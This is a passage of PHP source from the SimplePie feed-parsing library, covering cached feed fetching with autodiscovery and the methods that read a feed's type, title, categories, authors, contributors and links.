$missingExtensions = array();
if (!extension_loaded('iconv')) {
$missingExtensions[] = 'iconv';
}
if (!extension_loaded('mbstring')) {
$missingExtensions[] = 'mbstring';
}
if (!class_exists('\UConverter')) {
$missingExtensions[] = 'intl (PHP 5.5+)';
}
$this->error .= ' Try installing/enabling the ' . implode(' or ', $missingExtensions) . ' extension.';
}
}
$this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__));
return false;
}
/**
* Fetch the data via SimplePie_File
*
* If the data is already cached, attempt to fetch it from there instead
* @param SimplePie_Cache_Base|false $cache Cache handler, or false to not load from the cache
* @return array|true Returns true if the data was loaded from the cache, or an array of HTTP headers and sniffed type
*/
protected function fetch_data(&$cache)
{
// If it's enabled, use the cache
if ($cache)
{
// Load the Cache
$this->data = $cache->load();
if (!empty($this->data))
{
// If the cache is for an outdated build of SimplePie
if (!isset($this->data['build']) || $this->data['build'] !== SIMPLEPIE_BUILD)
{
$cache->unlink();
$this->data = array();
}
// If we've hit a collision just rerun it with caching disabled
elseif (isset($this->data['url']) && $this->data['url'] !== $this->feed_url)
{
$cache = false;
$this->data = array();
}
// If we've got a non feed_url stored (if the page isn't actually a feed, or is a redirect) use that URL.
elseif (isset($this->data['feed_url']))
{
// If the autodiscovery cache is still valid use it.
if ($cache->mtime() + $this->autodiscovery_cache_duration > time())
{
// Do not need to do feed autodiscovery yet.
if ($this->data['feed_url'] !== $this->data['url'])
{
$this->set_feed_url($this->data['feed_url']);
return $this->init();
}
$cache->unlink();
$this->data = array();
}
}
// Check if the cache has been updated
elseif ($cache->mtime() + $this->cache_duration < time())
{
// Want to know if we tried to send last-modified and/or etag headers
// when requesting this file. (Note that it's up to the file to
// support this, but we don't always send the headers either.)
$this->check_modified = true;
if (isset($this->data['headers']['last-modified']) || isset($this->data['headers']['etag']))
{
$headers = array(
'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
);
if (isset($this->data['headers']['last-modified']))
{
$headers['if-modified-since'] = $this->data['headers']['last-modified'];
}
if (isset($this->data['headers']['etag']))
{
$headers['if-none-match'] = $this->data['headers']['etag'];
}
$file = $this->registry->create('File', array($this->feed_url, $this->timeout/10, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options));
$this->status_code = $file->status_code;
if ($file->success)
{
if ($file->status_code === 304)
{
// Set raw_data to false here too, to signify that the cache
// is still valid.
$this->raw_data = false;
$cache->touch();
return true;
}
}
else
{
$this->check_modified = false;
if($this->force_cache_fallback)
{
$cache->touch();
return true;
}
unset($file);
}
}
}
// If the cache is still valid, just return true
else
{
$this->raw_data = false;
return true;
}
}
// If the cache is empty, delete it
else
{
$cache->unlink();
$this->data = array();
}
}
// If we don't already have the file (it'll only exist if we've opened it to check if the cache has been modified), open it.
if (!isset($file))
{
if ($this->file instanceof SimplePie_File && $this->file->url === $this->feed_url)
{
$file =& $this->file;
}
else
{
$headers = array(
'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
);
$file = $this->registry->create('File', array($this->feed_url, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options));
}
}
$this->status_code = $file->status_code;
// If the file connection has an error, set SimplePie::error to that and quit
if (!$file->success && !($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300)))
{
$this->error = $file->error;
return !empty($this->data);
}
if (!$this->force_feed)
{
// Check if the supplied URL is a feed, if it isn't, look for it.
$locate = $this->registry->create('Locator', array(&$file, $this->timeout, $this->useragent, $this->max_checked_feeds, $this->force_fsockopen, $this->curl_options));
if (!$locate->is_feed($file))
{
$copyStatusCode = $file->status_code;
$copyContentType = $file->headers['content-type'];
try
{
$microformats = false;
if (class_exists('DOMXpath') && function_exists('Mf2\parse')) {
$doc = new DOMDocument();
@$doc->loadHTML($file->body);
$xpath = new DOMXpath($doc);
// Check for both h-feed and h-entry, as both a feed with no entries
// and a list of entries without an h-feed wrapper are both valid.
$query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '.
'contains(concat(" ", @class, " "), " h-entry ")]';
$result = $xpath->query($query);
$microformats = $result->length !== 0;
}
// Now also do feed discovery, but if microformats were found don't
// overwrite the current value of file.
$discovered = $locate->find($this->autodiscovery,
$this->all_discovered_feeds);
if ($microformats)
{
if ($hub = $locate->get_rel_link('hub'))
{
$self = $locate->get_rel_link('self');
$this->store_links($file, $hub, $self);
}
// Push the current file onto all_discovered feeds so the user can
// be shown this as one of the options.
if (isset($this->all_discovered_feeds)) {
$this->all_discovered_feeds[] = $file;
}
}
else
{
if ($discovered)
{
$file = $discovered;
}
else
{
// We need to unset this so that if SimplePie::set_file() has
// been called that object is untouched
unset($file);
$this->error = "A feed could not be found at `$this->feed_url`; the status code is `$copyStatusCode` and content-type is `$copyContentType`";
$this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__));
return false;
}
}
}
catch (SimplePie_Exception $e)
{
// We need to unset this so that if SimplePie::set_file() has been called that object is untouched
unset($file);
// This is usually because DOMDocument doesn't exist
$this->error = $e->getMessage();
$this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, $e->getFile(), $e->getLine()));
return false;
}
if ($cache)
{
$this->data = array('url' => $this->feed_url, 'feed_url' => $file->url, 'build' => SIMPLEPIE_BUILD);
if (!$cache->save($this))
{
trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
}
$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $file->url), 'spc'));
}
}
$this->feed_url = $file->url;
$locate = null;
}
$this->raw_data = $file->body;
$this->permanent_url = $file->permanent_url;
$headers = $file->headers;
$sniffer = $this->registry->create('Content_Type_Sniffer', array(&$file));
$sniffed = $sniffer->get_type();
return array($headers, $sniffed);
}
/**
* Get the error message for the occurred error
*
* @return string|array Error message, or array of messages for multifeeds
*/
public function error()
{
return $this->error;
}
/**
* Get the last HTTP status code
*
* @return int Status code
*/
public function status_code()
{
return $this->status_code;
}
/**
* Get the raw XML
*
* This is the same as the old `$feed->enable_xml_dump(true)`, but returns
* the data instead of printing it.
*
* @return string|boolean Raw XML data, false if the cache is used
*/
public function get_raw_data()
{
return $this->raw_data;
}
/**
* Get the character encoding used for output
*
* @since Preview Release
* @return string
*/
public function get_encoding()
{
return $this->sanitize->output_encoding;
}
/**
* Send the Content-Type header with correct encoding
*
* This method ensures that the SimplePie-enabled page is being served with
* the correct {@link http://www.iana.org/assignments/media-types/ mime-type}
* and character encoding HTTP headers (character encoding determined by the
* {@see set_output_encoding} config option).
*
* This won't work properly if any content or whitespace has already been
* sent to the browser, because it relies on PHP's
* {@link http://php.net/header header()} function, and these are the
* circumstances under which the function works.
*
* Because it's setting these settings for the entire page (as is the nature
* of HTTP headers), this should only be used once per page (again, at the
* top).
*
* @param string $mime MIME type to serve the page as
*/
public function handle_content_type($mime = 'text/html')
{
if (!headers_sent())
{
$header = "Content-Type: $mime;";
if ($this->get_encoding())
{
$header .= ' charset=' . $this->get_encoding();
}
else
{
$header .= ' charset=UTF-8';
}
header($header);
}
}
/**
* Get the type of the feed
*
* This returns a SIMPLEPIE_TYPE_* constant, which can be tested against
* using {@link http://php.net/language.operators.bitwise bitwise operators}
*
* @since 0.8 (usage changed to using constants in 1.0)
* @see SIMPLEPIE_TYPE_NONE Unknown.
* @see SIMPLEPIE_TYPE_RSS_090 RSS 0.90.
* @see SIMPLEPIE_TYPE_RSS_091_NETSCAPE RSS 0.91 (Netscape).
* @see SIMPLEPIE_TYPE_RSS_091_USERLAND RSS 0.91 (Userland).
* @see SIMPLEPIE_TYPE_RSS_091 RSS 0.91.
* @see SIMPLEPIE_TYPE_RSS_092 RSS 0.92.
* @see SIMPLEPIE_TYPE_RSS_093 RSS 0.93.
* @see SIMPLEPIE_TYPE_RSS_094 RSS 0.94.
* @see SIMPLEPIE_TYPE_RSS_10 RSS 1.0.
* @see SIMPLEPIE_TYPE_RSS_20 RSS 2.0.x.
* @see SIMPLEPIE_TYPE_RSS_RDF RDF-based RSS.
* @see SIMPLEPIE_TYPE_RSS_SYNDICATION Non-RDF-based RSS (truly intended as syndication format).
* @see SIMPLEPIE_TYPE_RSS_ALL Any version of RSS.
* @see SIMPLEPIE_TYPE_ATOM_03 Atom 0.3.
* @see SIMPLEPIE_TYPE_ATOM_10 Atom 1.0.
* @see SIMPLEPIE_TYPE_ATOM_ALL Any version of Atom.
* @see SIMPLEPIE_TYPE_ALL Any known/supported feed type.
* @return int SIMPLEPIE_TYPE_* constant
*/
public function get_type()
{
if (!isset($this->data['type']))
{
$this->data['type'] = SIMPLEPIE_TYPE_ALL;
if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed']))
{
$this->data['type'] &= SIMPLEPIE_TYPE_ATOM_10;
}
elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed']))
{
$this->data['type'] &= SIMPLEPIE_TYPE_ATOM_03;
}
elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF']))
{
if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['channel'])
|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['image'])
|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item'])
|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['textinput']))
{
$this->data['type'] &= SIMPLEPIE_TYPE_RSS_10;
}
if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['channel'])
|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['image'])
|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item'])
|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['textinput']))
{
$this->data['type'] &= SIMPLEPIE_TYPE_RSS_090;
}
}
elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss']))
{
$this->data['type'] &= SIMPLEPIE_TYPE_RSS_ALL;
if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version']))
{
switch (trim($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version']))
{
case '0.91':
$this->data['type'] &= SIMPLEPIE_TYPE_RSS_091;
if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['skiphours']['hour'][0]['data']))
{
switch (trim($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['skiphours']['hour'][0]['data']))
{
case '0':
$this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_NETSCAPE;
break;
case '24':
$this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_USERLAND;
break;
}
}
break;
case '0.92':
$this->data['type'] &= SIMPLEPIE_TYPE_RSS_092;
break;
case '0.93':
$this->data['type'] &= SIMPLEPIE_TYPE_RSS_093;
break;
case '0.94':
$this->data['type'] &= SIMPLEPIE_TYPE_RSS_094;
break;
case '2.0':
$this->data['type'] &= SIMPLEPIE_TYPE_RSS_20;
break;
}
}
}
else
{
$this->data['type'] = SIMPLEPIE_TYPE_NONE;
}
}
return $this->data['type'];
}
/**
* Get the URL for the feed
*
* When the 'permanent' mode is enabled, returns the original feed URL,
* except in the case of an `HTTP 301 Moved Permanently` status response,
* in which case the location of the first redirection is returned.
*
* When the 'permanent' mode is disabled (default),
* may or may not be different from the URL passed to {@see set_feed_url()},
* depending on whether auto-discovery was used, and whether there were
* any redirects along the way.
*
* @since Preview Release (previously called `get_feed_url()` since SimplePie 0.8.)
* @todo Support <itunes:new-feed-url>
* @todo Also, |atom:link|@rel=self
* @param bool $permanent Permanent mode to return only the original URL or the first redirection
* iff it is a 301 redirection
* @return string|null
*/
public function subscribe_url($permanent = false)
{
if ($permanent)
{
if ($this->permanent_url !== null)
{
// sanitize encodes ampersands which are required when used in a url.
return str_replace('&', '&',
$this->sanitize($this->permanent_url,
SIMPLEPIE_CONSTRUCT_IRI));
}
}
else
{
if ($this->feed_url !== null)
{
return str_replace('&', '&',
$this->sanitize($this->feed_url,
SIMPLEPIE_CONSTRUCT_IRI));
}
}
return null;
}
/**
* Get data for an feed-level element
*
* This method allows you to get access to ANY element/attribute that is a
* sub-element of the opening feed tag.
*
* The return value is an indexed array of elements matching the given
* namespace and tag name. Each element has `attribs`, `data` and `child`
* subkeys. For `attribs` and `child`, these contain namespace subkeys.
* `attribs` then has one level of associative name => value data (where
* `value` is a string) after the namespace. `child` has tag-indexed keys
* after the namespace, each member of which is an indexed array matching
* this same format.
*
* For example:
* <pre>
* // This is probably a bad example because we already support
* // <media:content> natively, but it shows you how to parse through
* // the nodes.
* $group = $item->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group');
* $content = $group[0]['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'];
* $file = $content[0]['attribs']['']['url'];
* echo $file;
* </pre>
*
* @since 1.0
* @see http://simplepie.org/wiki/faq/supported_xml_namespaces
* @param string $namespace The URL of the XML namespace of the elements you're trying to access
* @param string $tag Tag name
* @return array
*/
public function get_feed_tags($namespace, $tag)
{
$type = $this->get_type();
if ($type & SIMPLEPIE_TYPE_ATOM_10)
{
if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag]))
{
return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag];
}
}
if ($type & SIMPLEPIE_TYPE_ATOM_03)
{
if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag]))
{
return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag];
}
}
if ($type & SIMPLEPIE_TYPE_RSS_RDF)
{
if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag]))
{
return $this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag];
}
}
if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION)
{
if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag]))
{
return $this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag];
}
}
return null;
}
/**
* Get data for an channel-level element
*
* This method allows you to get access to ANY element/attribute in the
* channel/header section of the feed.
*
* See {@see SimplePie::get_feed_tags()} for a description of the return value
*
* @since 1.0
* @see http://simplepie.org/wiki/faq/supported_xml_namespaces
* @param string $namespace The URL of the XML namespace of the elements you're trying to access
* @param string $tag Tag name
* @return array
*/
public function get_channel_tags($namespace, $tag)
{
$type = $this->get_type();
if ($type & SIMPLEPIE_TYPE_ATOM_ALL)
{
if ($return = $this->get_feed_tags($namespace, $tag))
{
return $return;
}
}
if ($type & SIMPLEPIE_TYPE_RSS_10)
{
if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'channel'))
{
if (isset($channel[0]['child'][$namespace][$tag]))
{
return $channel[0]['child'][$namespace][$tag];
}
}
}
if ($type & SIMPLEPIE_TYPE_RSS_090)
{
if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'channel'))
{
if (isset($channel[0]['child'][$namespace][$tag]))
{
return $channel[0]['child'][$namespace][$tag];
}
}
}
if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION)
{
if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'channel'))
{
if (isset($channel[0]['child'][$namespace][$tag]))
{
return $channel[0]['child'][$namespace][$tag];
}
}
}
return null;
}
/**
* Get data for an channel-level element
*
* This method allows you to get access to ANY element/attribute in the
* image/logo section of the feed.
*
* See {@see SimplePie::get_feed_tags()} for a description of the return value
*
* @since 1.0
* @see http://simplepie.org/wiki/faq/supported_xml_namespaces
* @param string $namespace The URL of the XML namespace of the elements you're trying to access
* @param string $tag Tag name
* @return array
*/
public function get_image_tags($namespace, $tag)
{
$type = $this->get_type();
if ($type & SIMPLEPIE_TYPE_RSS_10)
{
if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'image'))
{
if (isset($image[0]['child'][$namespace][$tag]))
{
return $image[0]['child'][$namespace][$tag];
}
}
}
if ($type & SIMPLEPIE_TYPE_RSS_090)
{
if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'image'))
{
if (isset($image[0]['child'][$namespace][$tag]))
{
return $image[0]['child'][$namespace][$tag];
}
}
}
if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION)
{
if ($image = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'image'))
{
if (isset($image[0]['child'][$namespace][$tag]))
{
return $image[0]['child'][$namespace][$tag];
}
}
}
return null;
}
/**
* Get the base URL value from the feed
*
* Uses `<xml:base>` if available, otherwise uses the first link in the
* feed, or failing that, the URL of the feed itself.
*
* @see get_link
* @see subscribe_url
*
* @param array $element
* @return string
*/
public function get_base($element = array())
{
if (!($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION) && !empty($element['xml_base_explicit']) && isset($element['xml_base']))
{
return $element['xml_base'];
}
elseif ($this->get_link() !== null)
{
return $this->get_link();
}
return $this->subscribe_url();
}
/**
* Sanitize feed data
*
* @access private
* @see SimplePie_Sanitize::sanitize()
* @param string $data Data to sanitize
* @param int $type One of the SIMPLEPIE_CONSTRUCT_* constants
* @param string $base Base URL to resolve URLs against
* @return string Sanitized data
*/
public function sanitize($data, $type, $base = '')
{
try
{
return $this->sanitize->sanitize($data, $type, $base);
}
catch (SimplePie_Exception $e)
{
if (!$this->enable_exceptions)
{
$this->error = $e->getMessage();
$this->registry->call('Misc', 'error', array($this->error, E_USER_WARNING, $e->getFile(), $e->getLine()));
return '';
}
throw $e;
}
}
/**
* Get the title of the feed
*
* Uses `<atom:title>`, `<title>` or `<dc:title>`
*
* @since 1.0 (previously called `get_feed_title` since 0.8)
* @return string|null
*/
public function get_title()
{
if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
{
return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
{
return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
{
return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
return null;
}
/**
* Get a category for the feed
*
* @since Unknown
* @param int $key The category that you want to return. Remember that arrays begin with 0, not 1
* @return SimplePie_Category|null
*/
public function get_category($key = 0)
{
$categories = $this->get_categories();
if (isset($categories[$key]))
{
return $categories[$key];
}
return null;
}
/**
* Get all categories for the feed
*
* Uses `<atom:category>`, `<category>` or `<dc:subject>`
*
* @since Unknown
* @return array|null List of {@see SimplePie_Category} objects
*/
public function get_categories()
{
$categories = array();
foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category)
{
$term = null;
$scheme = null;
$label = null;
if (isset($category['attribs']['']['term']))
{
$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
}
if (isset($category['attribs']['']['scheme']))
{
$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
}
if (isset($category['attribs']['']['label']))
{
$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
}
$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
}
foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category)
{
// This is really the label, but keep this as the term also for BC.
// Label will also work on retrieving because that falls back to term.
$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
if (isset($category['attribs']['']['domain']))
{
$scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT);
}
else
{
$scheme = null;
}
$categories[] = $this->registry->create('Category', array($term, $scheme, null));
}
foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category)
{
$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
}
foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category)
{
$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
}
if (!empty($categories))
{
return array_unique($categories);
}
return null;
}
/**
* Get an author for the feed
*
* @since 1.1
* @param int $key The author that you want to return. Remember that arrays begin with 0, not 1
* @return SimplePie_Author|null
*/
public function get_author($key = 0)
{
$authors = $this->get_authors();
if (isset($authors[$key]))
{
return $authors[$key];
}
return null;
}
/**
* Get all authors for the feed
*
* Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
*
* @since 1.1
* @return array|null List of {@see SimplePie_Author} objects
*/
public function get_authors()
{
$authors = array();
foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
{
$name = null;
$uri = null;
$email = null;
if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
{
$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
{
$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
}
if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
{
$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $uri !== null)
{
$authors[] = $this->registry->create('Author', array($name, $uri, $email));
}
}
if ($author = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
{
$name = null;
$url = null;
$email = null;
if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
{
$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
{
$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
}
if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
{
$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $url !== null)
{
$authors[] = $this->registry->create('Author', array($name, $url, $email));
}
}
foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
{
$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
}
foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
{
$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
}
foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
{
$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
}
if (!empty($authors))
{
return array_unique($authors);
}
return null;
}
/**
* Get a contributor for the feed
*
* @since 1.1
* @param int $key The contrbutor that you want to return. Remember that arrays begin with 0, not 1
* @return SimplePie_Author|null
*/
public function get_contributor($key = 0)
{
$contributors = $this->get_contributors();
if (isset($contributors[$key]))
{
return $contributors[$key];
}
return null;
}
/**
* Get all contributors for the feed
*
* Uses `<atom:contributor>`
*
* @since 1.1
* @return array|null List of {@see SimplePie_Author} objects
*/
public function get_contributors()
{
$contributors = array();
foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
{
$name = null;
$uri = null;
$email = null;
if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
{
$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
{
$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
}
if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
{
$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $uri !== null)
{
$contributors[] = $this->registry->create('Author', array($name, $uri, $email));
}
}
foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
{
$name = null;
$url = null;
$email = null;
if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
{
$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
{
$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
}
if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
{
$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $url !== null)
{
$contributors[] = $this->registry->create('Author', array($name, $url, $email));
}
}
if (!empty($contributors))
{
return array_unique($contributors);
}
return null;
}
/**
* Get a single link for the feed
*
* @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
* @param int $key The link that you want to return. Remember that arrays begin with 0, not 1
* @param string $rel The relationship of the link to return
* @return string|null Link URL
*/
public function get_link($key = 0, $rel = 'alternate')
{
$links = $this->get_links($rel);
if (isset($links[$key]))
{
return $links[$key];
}
return null;
}
/**
* Get the permalink for the item
*
* Returns the first link available with a relationship of "alternate".
* Identical to {@see get_link()} with key 0
*
* @see get_link
* @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
* @internal Added for parity between the parent-level and the item/entry-level.
* @return string|null Link URL
*/
public function get_permalink()
{
return $this->get_link(0);
